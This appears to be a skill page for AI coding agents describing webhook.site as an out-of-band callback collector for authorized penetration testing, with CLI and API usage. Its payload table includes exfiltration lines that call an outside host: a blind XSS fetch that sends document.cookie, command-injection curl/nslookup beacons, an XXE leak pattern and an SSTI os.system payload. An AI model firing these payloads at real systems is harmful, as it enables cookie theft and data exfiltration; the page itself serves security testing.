offensive-tools/network/webhook-site/SKILL.md
webhook.site: hosted out-of-band application security testing (OAST) collector — instantly generates a unique HTTPS URL plus DNSHook subdomain that records every HTTP request and DNS query, with a Web UI, JSON API, and the `whcli` Node/Docker companion for `forward` (relay captured traffic to a local target) and `exec` (run a local command per request). Use during authorized testing for blind SSRF, blind XXE, blind XSS, blind RCE / DNS exfil, OAuth/SAML redirect inspection, webhook integration debugging, phishing-callback validation, supply-chain template injection, and any callback channel that needs a public HTTPS endpoint with full request introspection. Not for unauthorized data interception, third-party traffic relay, or covert long-term C2 — for raw TCP use bore, for HTTPS tunnels to a local app use pinggy/ngrok, for self-hosted OAST use interactsh.
npx skillsauth add aeondave/malskill webhook-siteInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Hosted OAST collector + request inspector. Visiting webhook.site mints a unique token of the form https://webhook.site/<uuid>; every HTTP request and DNS query (via the matching *.dnshook.site subdomain) to that token is recorded with full headers, body, source IP, geolocation, and timing, and surfaced in a Web UI, JSON API, and (with whcli) a CLI stream that can forward or execute on each event.
Use it as the public callback endpoint for any blind vulnerability class, OAuth/SAML round-trip inspection, webhook integration debugging, or a temporary HTTPS relay into a local service during authorized engagements.
webhook.site server on owned infrastructure.interactsh or an authoritative server you control.| Need | Pick |
|---|---|
| HTTPS endpoint + DNS subdomain, full request UI, < 30 s setup | webhook.site |
| Multi-protocol OAST (HTTP, DNS, SMTP, LDAP), self-hosted | interactsh (oast.pro / self-host) |
| XSS-only blind callback with screenshot + DOM | XSS Hunter (xsshunter.com / self-host) |
| Raw TCP listener for custom protocols | bore, ncat -lkvnp, custom Python |
| HTTPS tunnel to a real local web app with debugger | pinggy, ngrok, cloudflared |
| Persistent C2 channel | Dedicated C2 framework — webhook.site is not stealthy and not designed for it |
https://webhook.site/<uuid>. Created automatically when you open the homepage in a browser, or programmatically via POST /token.<id>.dnshook.site subdomain (<id> derived from the UUID). Any DNS query to <sub>.<id>.dnshook.site is captured.<id>@email.webhook.site for inbound email capture.Api-Key HTTP header. Lets whcli and scripts create tokens, list/read requests, manage custom actions, and forward without anonymous rate limits.178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64. Open these on your target firewall when forwarding from webhook.site into an internal collector.https://webhook.site → page is now bound to a new token URL shown at the top.redirect_uri, SSRF probe, etc.).<id>.dnshook.site host, or <id>@email.webhook.site address.whcli)# Install via Node (preferred for `forward`/`exec`)
npm install -g whcli
# Or via Docker
docker run --rm -it ghcr.io/webhooksite/whcli:latest --help
# Stream a token to the terminal
whcli forward --token=<UUID>
# Forward every captured request to a local web service
whcli forward --token=<UUID> --target=http://127.0.0.1:8080
# Forward only requests whose query string matches ?op=cb
whcli forward --token=<UUID> --target=http://127.0.0.1:8080 --query='op=cb'
# Run a local command per request (the raw request body is piped to stdin)
whcli exec --token=<UUID> --command='/usr/local/bin/handle.sh'
# Auth (paid plans / private tokens)
export WH_API_KEY='...'
whcli forward --token=<UUID> --target=http://127.0.0.1:8080
whcli keeps an HTTP long-poll / websocket open against https://webhook.site and replays every captured event locally — turning a public token into a real local listener without exposing your machine.
Base URL: https://webhook.site. Authenticate scripted access with Api-Key: <YOUR_KEY>.
# Create a new token (returns JSON with uuid, alias, default-content, etc.)
curl -s -H 'Api-Key: '"$WH_API_KEY" -H 'Content-Type: application/json' \
-d '{"default_status":200,"default_content":"ok","default_content_type":"text/plain"}' \
https://webhook.site/token | jq .uuid
# List captured requests (paginated, newest first)
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/requests?sorting=newest&per_page=50" | jq '.data[] | {ip,method,url,query}'
# Read one request's raw body
curl -s -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request/<REQ_UUID>/raw"
# Delete all requests for a token
curl -s -X DELETE -H 'Api-Key: '"$WH_API_KEY" \
"https://webhook.site/token/<UUID>/request"
Body size limit: 10 MB per request (free); contact provider for paid tier limits.
The point of webhook.site is to confirm "did the target side-effect actually fire". Pick the channel that the vulnerability class can reach.
| Vulnerability | Channel | Payload pattern |
|---|---|---|
| Blind SSRF | HTTP | http://<UUID>.webhook.site/ssrf-probe?id=<MARKER> or https://webhook.site/<UUID>?via=ssrf |
| Blind XXE (HTTP egress) | HTTP via external DTD | DTD on attacker server referencing http://webhook.site/<UUID>/?leak=&file; |
| Blind XXE (DNS only) | DNSHook | DTD that triggers DNS resolution of <MARKER>.<id>.dnshook.site |
| Blind RCE / cmd injection | HTTP + DNS | curl https://webhook.site/<UUID>/$(whoami) (HTTP) or nslookup $(id -u).<id>.dnshook.site (DNS — works through restrictive egress) |
| Blind XSS | HTTP fetch beacon | <script>fetch('https://webhook.site/<UUID>/x?u='+document.cookie)</script> (use XSS Hunter for richer DOM capture) |
| OAuth / SAML redirect handling | HTTP | Set redirect_uri / RelayState / ACS URL to the token URL, inspect query/body for tokens. |
| SMTP / mail callback | Email alias | Trigger app to send mail to <id>@email.webhook.site. |
| Template / SSTI sanity check | HTTP | {{ ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['__import__']('os').system('curl -s https://webhook.site/<UUID>?ok') }} (lab-style payload only). |
| Webhook integration debugging | HTTP | Point the third-party app's outbound webhook at the token URL and inspect headers/signature. |
Tips:
?id=<host>-<param>-<timestamp>) so multi-target campaigns can attribute callbacks.<chunk>.<chunk>.<id>.dnshook.site.Per-token rules evaluated on every inbound request. Useful primitives:
Combine actions to build small dataflow pipelines (e.g. "if X-Phish-Token header present, forward to internal collector; else return 200"). For complex transforms prefer whcli forward --target to a local service you fully control.
default_content and content-type — some targets behave differently when the callback returns HTML vs JSON vs empty.whcli forward), require an Api-Key-style shared header so only webhook.site traffic is honored.178.63.67.106, 178.63.67.153, 2a01:4f8:121:114d::/64, 2a01:4f8:121:11a5::/64) on the internal collector side.webhook.site server or use interactsh on owned infrastructure.DELETE /token/<UUID>/request).| Symptom | Likely cause | Fix |
|---|---|---|
| Callback never appears in UI | Token URL typo, target egress blocked, payload mis-encoded. | Curl the URL from your own box; check *.dnshook.site for DNS-only egress. |
| Request body truncated / empty | 10 MB cap exceeded, or chunked encoding the proxy stripped. | Drop large fields, or use whcli forward to a local sink without the cap. |
| Token returns 429 / "rate limit" | Free anonymous token hit the 100-request cap. | Upgrade to a paid token, or rotate tokens per probe. |
| whcli forward reconnects every few seconds | Listen timeout or websocket drop; expected behavior. | Set WH_LISTEN_TIMEOUT higher; the CLI auto-resumes. |
| Custom Action forward never reaches internal host | Firewall blocks webhook.site outbound IPs. | Allow the published IPv4/IPv6 ranges, or move to whcli forward originating from your own host. |
| DNSHook captures nothing | Target resolver caches NXDOMAIN, or only egress is HTTP. | Use a unique sub-label per probe to bust caches; for HTTP-only egress switch the probe to a https://webhook.site/<UUID>/... URL. |
| Captured headers missing original client IP | A reverse proxy in front of the target rewrote X-Forwarded-For. | Look at client_ip field in the API; cross-reference with target access logs. |
| File | When to load |
|---|---|
| references/usage-matrix.md | Full whcli flag matrix, JSON API endpoint reference, OAST payload bank per vulnerability class, Custom Action recipes, side-by-side comparison vs interactsh / XSS Hunter / RequestBin / bore / pinggy. |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.